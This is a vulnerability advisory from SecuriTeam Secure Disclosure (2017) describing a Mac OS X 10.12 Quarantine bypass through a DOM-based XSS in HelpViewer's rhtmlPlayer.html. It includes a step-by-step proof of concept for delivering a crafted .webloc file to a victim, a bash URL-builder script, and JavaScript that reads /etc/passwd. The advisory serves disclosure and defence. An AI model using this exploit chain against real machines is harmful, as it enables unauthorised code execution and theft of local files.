SSD Advisory – Mac OS X 10.12 Quarantine Bypass

blogs.securiteam.com/index.php/archives/3449

SSD / Noam Rathaus September 28, 2017

Vulnerability summary
Mac OS X contains a vulnerability that allows bypassing of the Apple Quarantine and the execution of arbitrary JavaScript code without any restrictions.

Credit
A security researcher from WeAreSegment, Filippo Cavallarin, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program.

Vendor response
Apple has been notified on the 27th of June 2017, several correspondences were exchanged. Apple notified us that a patch has been put in place in the upcoming High Sierra version. No additional information has been provided by Apple since the notification that a patch has been made – no link to the advisory nor any information on what CVE has been assigned to this have been provided.

We have verified that Mac OS X High Sierra is no longer vulnerable to this, a solution would be to either upgrade High Sierra, or remove the rhtmlPlayer.html file (a workaround).

Vulnerability details
Apple's Quarantine works by setting an extended attribute to downloaded files (and also to files extracted from downloaded archive/image) that tells the system to open/execute those files in a restricted environment.

For example, a quarantined html file won't be able to load local resources.

The vulnerability is in one html file, part of the Mac OS X core, that is prone to a DOM Based XSS allowing the execution of arbitrary JavaScript commands in its (unrestricted) context.

The mentioned file is located at */System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html* and contains the following code:

JavaScript

```
<script type="text/javascript" charset="utf-8">

setBasePathFromString(urlParam("rhtml"));
loadLocStrings();
loadJavascriptLibs();

function init () { /* <-- called by <body onload="init()" */
  [...]

  rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */

  [...]

  self.contentHttpReq.open('GET', rHTMLPath, true);
  self.contentHttpReq.onreadystatechange = function() {
      if (self.contentHttpReq.readyState == 4) {
          loadTutorial(self.contentHttpReq.responseText);
      }
  }
  [...]
}

function loadTutorial(response) {
  var rHTMLPath = urlParam("rhtml");

  // this will create a tutorialData item
  eval(response);
  [...]
}

function loadLocStrings()
{
  var headID = document.getElementsByTagName("head")[0];
  var rHTMLPath = urlParam("rhtml");

  rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js");
  var newScript = document.createElement('script');
  newScript.type = 'text/javascript';
  newScript.src = rHTMLPath;
  headID.appendChild(newScript);
}
[...]
</script>
```

In short, it takes an URL from the “rhtml” query string parameter, makes a request to that URL and evaluates the response content as JavaScript code.

The code below contains two different DOM Based XSS. The first is in the loadLocStrings() function that creates a SCRIPT element and uses the “rhtml” parameter as its “src” property. The second is in the init() function that uses the “rhtml” parameter to make an ajax call and then passes the response directly to eval(). As the result the same payload is executed twice.

An attacker, by providing a data uri, can take control of the response and thus what gets evaluated.

One possible vector of exploitation are the .webloc files. Basically those files contain an url and they simply loads it in Safari when opened. By crafting a .webloc file and by tricking a victim to open it, an attacker can run privileged JavaScript commands on the victim's computer.

Due to the fact that .webloc files also use an extended attribute to store data, they must be sent contained in a tar archive (or any other format that supports extended attributes).

Proof of Concept
To reproduce the issue follow the steps below:

1. Create a JavaScript file you want to execute on your target
2. Convert its content to base64
3. Encode it to a "uri component" (ex with encodeURIComponent js function)
4. Use it to build a data uri as follow: *data:text/plain;base64,*
5. Prepend the following string to it *file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=*
6. Open it with Safari
7. Save it as a bookmark
8. Drag the bookmark to the Finder (a .webloc file is created, if the extension is not .webloc, rename it)
9. Create a tar archive containing the .webloc file
10. Send it to the victim

Note that due to the behavior of rhtmlPlayer.html, in order to access local resources, the first line of the JavaScript code must be:

JavaScript

```
1  document.getElementsByTagName("base")[0].href="";
```

The following bash script will take a JavaScript file and converts it to final "file" URL:

```
BOF
#!/bin/bash

BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml="
BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;"
DATAURI="data:text/plain;base64,"

JSFILE=$1

if [ "$JSFILE" = "" ]; then
  echo "usage: $0 <jsfile>"
  exit 1
fi

JS=$BASEJS`cat $JSFILE`"})();"
ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's/\//%2B/g'`
URL="$BASEURL""$DATAURI""$ENCJS"

echo -ne "Paste the url below into Safari's url bar:\n\033[33m$URL\033[0m\n"
EOF
```

The following Javascipt code will alert the */etc/passwd* file on the victim's computer:

```
BOF
xhr = new XMLHttpRequest();
xhr.open("GET", "/etc/passwd", true);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {
  alert(xhr.responseText);
}
};
xhr.send();
EOF
```

Note that only Safari will successfully load local resources via ajax (Chrome and Firefox won't). In this exploitation process it's not an issue since .webloc files are always opened with Safari.